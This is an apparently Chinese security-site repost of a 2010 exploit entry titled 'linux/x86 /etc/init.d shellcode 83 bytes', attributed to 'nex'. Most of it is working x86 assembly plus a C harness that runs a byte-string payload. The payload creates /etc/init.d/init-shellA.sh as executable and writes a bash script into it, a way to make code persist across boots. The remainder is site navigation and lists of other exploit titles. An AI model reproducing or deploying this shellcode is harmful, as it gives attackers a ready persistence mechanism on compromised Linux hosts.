首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 /etc/init.d shellcode 83 bytes
来源:vfocus.net 作者:nex 发布时间:2010-08-23  
# Exploit Title: /etc/init.d shellcode 83 bytes
# Author: nex
# Software Link: N/A
# Version: N/A
# Category: shellcode
# Tested on: Linux/x86 2.6.27-9-generic

/* copy in /etc/init.d shellcode */
/* 83 bytes lenght */

/*
.text
.globl _start
_start:
xor %eax,%eax
xor %ebx,%ebx

push $0x4168732E
push $0x4168732D
push $0x74696E69
push $0x2F642E74
push $0x696E692F
push $0x6374652F

movl %esp, %ebx
movb %al,23(%ebx)

movb $0x5,%al
movb $( 0x40 | 0x1 ), %cl

movl $0x41414141,%edx
xorl $0x414140bc,%edx

# movl $0x1fd, %edx

# open( "/etc/init.d/init-shellA.sh", O_WRONLY | O_CREAT, 0775 );
int $0x80

jmp shellcode

write:
pop %ecx

movl %eax,%ebx

xor %eax,%eax
movb $0x4,%al
xor %edx,%edx
movb $0x13, %dl

# write( initd, shellcode, size_of_shellcode )
int $0x80

# _exit( 0 );
xor %eax,%eax
xorb %bl,%bl
inc %eax

int $0x80

shellcode:
call write
.ascii "#!/bin/bash\necho we"
*/

char payload[] = "\x31\xc0\x31\xdb\x68\x2e\x73\x68"
"\x41\x68\x2d\x73\x68\x41\x68\x69"
"\x6e\x69\x74\x68\x74\x2e\x64\x2f"
"\x68\x2f\x69\x6e\x69\x68\x2f\x65"
"\x74\x63\x89\xe3\x88\x43\x17\xb0"
"\x05\xb1\x41\xba\x41\x41\x41\x41"
"\x81\xf2\xbc\x40\x41\x41\xcd\x80"
"\xeb\x14\x59\x89\xc3\x31\xc0\xb0"
"\x04\x31\xd2\xb2\x13\xcd\x80\x31"
"\xc0\x30\xdb\x40\xcd\x80\xe8\xe7"
"\xff\xff\xff"
"#!/bin/bash\necho we";

int
main()
{
((void(*)())payload)();

return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 /bin/sh Null-Free Po
·os-x/x86 intel - execve(/bin/s
·SonciWALL Aventail epi.dll Aut
·ECShop v2.6.1 (FCKeditor Remot
·Microsoft Windows (IcmpSendEch
·ECShop v2.7.2 (FCKeditor Remot
·PlayPad Music Player v1.12 .mp
·UblogReload 1.0.5 Database Dis
·AV Music Morpher Gold 5.0.38 (
·Video Script ASP Database Disc
·Windows XP SP3 English Message
·Karaoke Video Creator Denial o
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved